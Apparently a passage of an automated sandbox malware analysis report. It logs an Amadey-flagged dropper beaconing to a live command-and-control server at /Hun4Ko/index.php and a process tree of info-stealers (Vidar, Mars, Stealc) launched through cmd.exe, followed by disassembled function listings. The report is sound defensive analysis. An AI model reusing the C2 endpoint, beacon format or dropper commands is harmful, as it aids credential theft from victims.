r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:22:32.479964972 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49832	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:32.598156929 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:22:33.303473949 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49833	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:33.313364983 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:22:34.046590090 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49834	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:34.162806988 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:22:34.856786013 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49835	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:34.869977951 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:22:35.563714981 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49836	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:35.724603891 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:22:36.428946972 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49837	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:36.437479973 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:22:37.125956059 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Target ID:	0
Start time:	01:20:31
Start date:	01/07/2024
Path:	C:\Users\user\Desktop\Rnteb46TuM.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Rnteb46TuM.exe"
Imagebase:	0x500000
File size:	2'509'824 bytes
MD5 hash:	B3BADD1CD2CBA4F587BD6737D34D3569
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2295449194.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.2295449194.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2299175818.0000000001A05000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2295449194.00000000005A6000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:20:51
Start date:	01/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:20:51
Start date:	01/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:20:51
Start date:	01/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\GCGHCBKFCF.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	01:20:51
Start date:	01/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	01:20:51
Start date:	01/07/2024
Path:	C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe"
Imagebase:	0xf0000
File size:	1'891'840 bytes
MD5 hash:	A7323BCF0DF71286FA3156CEFB8E3049
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000002.2352102436.00000000000F1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000003.2311882782.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:20:55
Start date:	01/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Imagebase:	0xf10000
File size:	1'891'840 bytes
MD5 hash:	A7323BCF0DF71286FA3156CEFB8E3049
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000003.2345493680.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.3337643096.0000000000F11000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	01:20:56
Start date:	01/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0xf10000
File size:	1'891'840 bytes
MD5 hash:	A7323BCF0DF71286FA3156CEFB8E3049
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000002.2400424009.0000000000F11000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000003.2359971482.00000000055A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:21:02
Start date:	01/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe"
Imagebase:	0x410000
File size:	2'564'096 bytes
MD5 hash:	B20D1E84EE4932C0D7A1D271A2C68436
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000002.2417828325.0000000001715000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000C.00000002.2416642437.0000000000411000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 0000000C.00000002.2416642437.0000000000411000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	01:22:00
Start date:	01/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0xf10000
File size:	1'891'840 bytes
MD5 hash:	A7323BCF0DF71286FA3156CEFB8E3049
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.3033347439.0000000000F11000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000003.2992298681.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	28.7%
Total number of Nodes:	115
Total number of Limit Nodes:	13

Executed Functions

Function 6C7935A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C81F688,00001000), ref: 6C7935D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C7935E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C7935FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C79363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C79369F
__aulldiv.LIBCMT ref: 6C7936E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C793773
EnterCriticalSection.KERNEL32(6C81F688), ref: 6C79377E
LeaveCriticalSection.KERNEL32(6C81F688), ref: 6C7937BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C7937C4
EnterCriticalSection.KERNEL32(6C81F688), ref: 6C7937CB
LeaveCriticalSection.KERNEL32(6C81F688), ref: 6C793801
__aulldiv.LIBCMT ref: 6C793883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C793902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C793918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C79394C

Strings

GTC, xrefs: 6C793912
GenuntelineI, xrefs: 6C793639
MOZ_TIMESTAMP_MODE, xrefs: 6C7935DB
AuthcAMDenti, xrefs: 6C793946
QPC, xrefs: 6C7938FC

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 3718349b7b3f64c61884d854b7295040ca450c5e53c8707a184d5e142b5ecc67
Instruction ID: 63d75acd828adcbeee5f5af6e395b1126435f581fbae4426b401f594f957fecf
Opcode Fuzzy Hash: 3718349b7b3f64c61884d854b7295040ca450c5e53c8707a184d5e142b5ecc67
Instruction Fuzzy Hash: 8CB1A4B1B083129FDB18DF28D95661ABBF5AB9A708F05893DE499D3B50D7709C00CBD1

Function 6C7AC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C7AC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C7AC969
GetSystemInfo.KERNEL32(?), ref: 6C7AC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C7AC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C7AC9E2

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 0b5944e6998cb78049a4fd920ef7695addcbb733f14c6d37862bc7d8862f9f96
Instruction ID: b656c0d4521f611c1bdc03f0f39fbbc08f4a4313ec0676d52ba1c41a7392c772
Opcode Fuzzy Hash: 0b5944e6998cb78049a4fd920ef7695addcbb733f14c6d37862bc7d8862f9f96
Instruction Fuzzy Hash: E921F8717412056BDB24AAA8DD8ABBE76F9AF46309F500239F907A7F40DB215804CBD5

Function 6C793060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C793095

Part of subcall function 6C7935A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C81F688,00001000), ref: 6C7935D5
Part of subcall function 6C7935A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C7935E0
Part of subcall function 6C7935A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C7935FD
Part of subcall function 6C7935A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C79363F
Part of subcall function 6C7935A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C79369F
Part of subcall function 6C7935A0: __aulldiv.LIBCMT ref: 6C7936E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C79309F

Part of subcall function 6C7B5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C7B56EE,?,00000001), ref: 6C7B5B85
Part of subcall function 6C7B5B50: EnterCriticalSection.KERNEL32(6C81F688,?,?,?,6C7B56EE,?,00000001), ref: 6C7B5B90
Part of subcall function 6C7B5B50: LeaveCriticalSection.KERNEL32(6C81F688,?,?,?,6C7B56EE,?,00000001), ref: 6C7B5BD8
Part of subcall function 6C7B5B50: GetTickCount64.KERNEL32 ref: 6C7B5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C7930BE

Part of subcall function 6C7930F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C793127
Part of subcall function 6C7930F0: __aulldiv.LIBCMT ref: 6C793140

Part of subcall function 6C7CAB2A: __onexit.LIBCMT ref: 6C7CAB30

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 121ad497222ad1bbd0cea3e8e4e0f67320c821fef7417ceffcaa9dd7d6432249
Instruction ID: 2bc036f856198b45bcfcac470dd91f38975197bde8e80b84b264487478041588
Opcode Fuzzy Hash: 121ad497222ad1bbd0cea3e8e4e0f67320c821fef7417ceffcaa9dd7d6432249
Instruction Fuzzy Hash: A0F0D632E2074A96CA20DF3499861A673B4AF7B218F101329E85963A21FB2065D8C3C2

Function 00893B8C Relevance: 1.3, APIs: 1, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 00893BB7

Memory Dump Source

Source File: 00000000.00000002.2295449194.0000000000886000.00000040.00000001.01000000.00000003.sdmp, Offset: 0073C000, based on PE: true

Associated: 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2295449194.000000000086C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2295449194.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2295449194.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2295449194.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Rnteb46TuM.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a071d60070def750e6fa758ee4b2026ad0ce5b7611f4181674f8a0943fad5482
Instruction ID: 5126cf3c275d8a9270e69d81369cd0274900e108b342c4ad4c851774895f94f4
Opcode Fuzzy Hash: a071d60070def750e6fa758ee4b2026ad0ce5b7611f4181674f8a0943fad5482
Instruction Fuzzy Hash: 46E0BDB6314608ABDB50DA88D984BAA33DDFB88320F188011FA09D7204C234EA109762

Non-executed Functions

Function 6C7A5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C7A5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7A54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7A54BE
__Init_thread_footer.LIBCMT ref: 6C7A54DB

Part of subcall function 6C7CAB3F: EnterCriticalSection.KERNEL32(6C81E370,?,?,6C793527,6C81F6CC,?,?,?,?,?,?,?,?,6C793284), ref: 6C7CAB49
Part of subcall function 6C7CAB3F: LeaveCriticalSection.KERNEL32(6C81E370,?,6C793527,6C81F6CC,?,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C7CAB7C

Part of subcall function 6C7CCBE8: GetCurrentProcess.KERNEL32(?,6C7931A7), ref: 6C7CCBF1
Part of subcall function 6C7CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7931A7), ref: 6C7CCBFA

GetCurrentThreadId.KERNEL32 ref: 6C7A54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C7A5516
GetCurrentThreadId.KERNEL32 ref: 6C7A556A
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7A5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C7A5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C7A5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C7A55E6
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7A5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7A5616

Part of subcall function 6C7CAB89: EnterCriticalSection.KERNEL32(6C81E370,?,?,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284), ref: 6C7CAB94
Part of subcall function 6C7CAB89: LeaveCriticalSection.KERNEL32(6C81E370,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C7CABD1

GetCurrentThreadId.KERNEL32 ref: 6C7A563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7A5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C7A567C
free.MOZGLUE(?), ref: 6C7A56AE

Part of subcall function 6C7B5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C7B5EDB
Part of subcall function 6C7B5E90: memset.VCRUNTIME140(6C7F7765,000000E5,55CCCCCC), ref: 6C7B5F27
Part of subcall function 6C7B5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C7B5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C7A56E8
GetCurrentThreadId.KERNEL32 ref: 6C7A5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C7A570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C7A5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C7A574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C7A576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C7A5796
